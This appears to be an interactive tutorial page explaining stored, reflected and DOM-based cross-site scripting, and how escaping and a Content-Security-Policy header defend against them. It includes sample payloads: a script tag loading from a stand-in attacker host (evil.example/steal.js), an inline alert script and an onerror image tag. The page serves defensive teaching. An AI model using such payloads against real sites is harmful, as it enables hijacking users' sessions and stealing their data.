Skip to content
YouTurkey Tech
All web topics

XSS and Content Security Policy

Advanced

How a comment can smuggle a script into someone else’s page, how a Content-Security-Policy header stops it from running, and why escaping is the real fix.Builds on Cookies and sessions

POST /comments HTTP/1.1Host: blog.exampleContent-Type: application/json {"post":12,"text":"<script src='https://evil.example/steal.js'></script>"} GET /posts/12 HTTP/1.1Host: blog.example HTTP/1.1 200 OKContent-Type: text/html; charset=UTF-8Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'none' <script src="/app.js"></script><p>Great post!</p><p><script src='https://evil.example/steal.js'></script></p>
Messages

Empty

0/13Press Play, or step through with the arrows, to begin.
Step 0 of 13

Explanation

2 min read

On this page

What is cross-site scripting (XSS)?

Cross-site scripting happens when text from one person ends up as code in another person's page. The browser cannot tell the site's own scripts from injected ones, so the injected code runs with the page's full power: it can read what the user sees, send requests as the user, and change the page.

It comes in three shapes:

  1. Stored. The payload is saved on the server, in a comment or a profile, and served to every visitor.
  2. Reflected. The payload is in a link, such as a search query, and the server echoes it back.
  3. DOM-based. The page's own JavaScript puts untrusted text into the page, for example with innerHTML, without the server being involved.

The cure is to keep data as data: every piece of untrusted text for the place it is inserted.

How do escaping and a Content Security Policy protect a page?

  • Escape on output, for the context. In HTML text, < becomes &lt; and & becomes &amp;. Inside an attribute, quotes must be escaped too, and a URL must be checked so it is not a javascript: link. Template engines and frameworks such as React escape text by default.
  • Use the safe DOM APIs. textContent and setAttribute insert text; innerHTML and insertAdjacentHTML parse HTML. When you truly need user HTML, run it through a sanitizer such as DOMPurify first.
  • Add a Content Security Policy. The Content-Security-Policy header lists where scripts may come from. script-src 'self' allows only your origin's files and blocks inline code; a per-response nonce ('nonce-…') allows only the script tags you marked.
  • Limit the damage. HttpOnly cookies cannot be read by scripts, and object-src 'none' and base-uri 'none' close two more ways around the policy.

What do people get wrong about XSS?

Mini example

A policy with a nonce: the server makes a new random value for each response and puts it on the scripts it wrote. An injected script cannot know the value, so it does not run:

HTTP/1.1 200 OKContent-Type: text/html; charset=UTF-8Content-Security-Policy: script-src 'nonce-r4nd0m2c'; object-src 'none'; base-uri 'none' <script nonce="r4nd0m2c" src="/app.js"></script><p>Great post!</p><p><script>alert('injected')</script></p>

Quick check

The page uses el.innerHTML = comment to show a comment that contains <img src=x onerror="alert(1)">. What is the safe change?

Further reading

All steps as text
  1. Step 1:

    A blog lets readers post comments. An attacker posts one whose text is not words but a <script> tag pointing at their own server.

    Lines 1–5

  2. Step 2:

    The server saves the text exactly as it came. It is now stored with the post, waiting for every visitor: a stored XSS.

  3. Step 3:

    Later Sara, who is logged in, opens the post.

    Lines 7–8

  4. Step 4:

    The server pastes the comment into the HTML without escaping it. To the browser, the attacker’s tag looks exactly like the site’s own <script src="/app.js">.

    Lines 14–16

  5. Step 5:

    If it ran, the script would act as Sara on this site: read the page, post in her name, send her data away. Her cookie is HttpOnly, but the script doesn’t need it.

  6. Step 6:

    But the response carries a Content Security Policy. script-src 'self' tells the browser to run scripts only from the site’s own origin.

    Line 12

  7. Step 7:

    The browser builds the page. /app.js comes from blog.example itself, so it loads and runs as usual.

    Line 14

  8. Step 8:

    Then the comment’s script. evil.example is not the site’s origin, so the browser refuses it without even downloading it, and logs why.

    Line 16

  9. Step 9:

    The attacker tries again with no external file: an image whose onerror attribute holds the code itself.

  10. Step 10:

    That inline code is blocked too: script-src 'self' allows no code written inside the HTML. The attacker’s server still hears nothing.

  11. Step 11:

    CSP is the safety net, not the fix. The developers change the template to escape comments: < becomes &lt;, so the text can no longer become a tag.

  12. Step 12:

    Sara reloads. The comments now show up as harmless text, angle brackets and all, and nothing tries to run.

  13. Step 13:

    XSS happens when data becomes code in someone else’s page. Escaping keeps data as data, and a CSP stops what slips through anyway.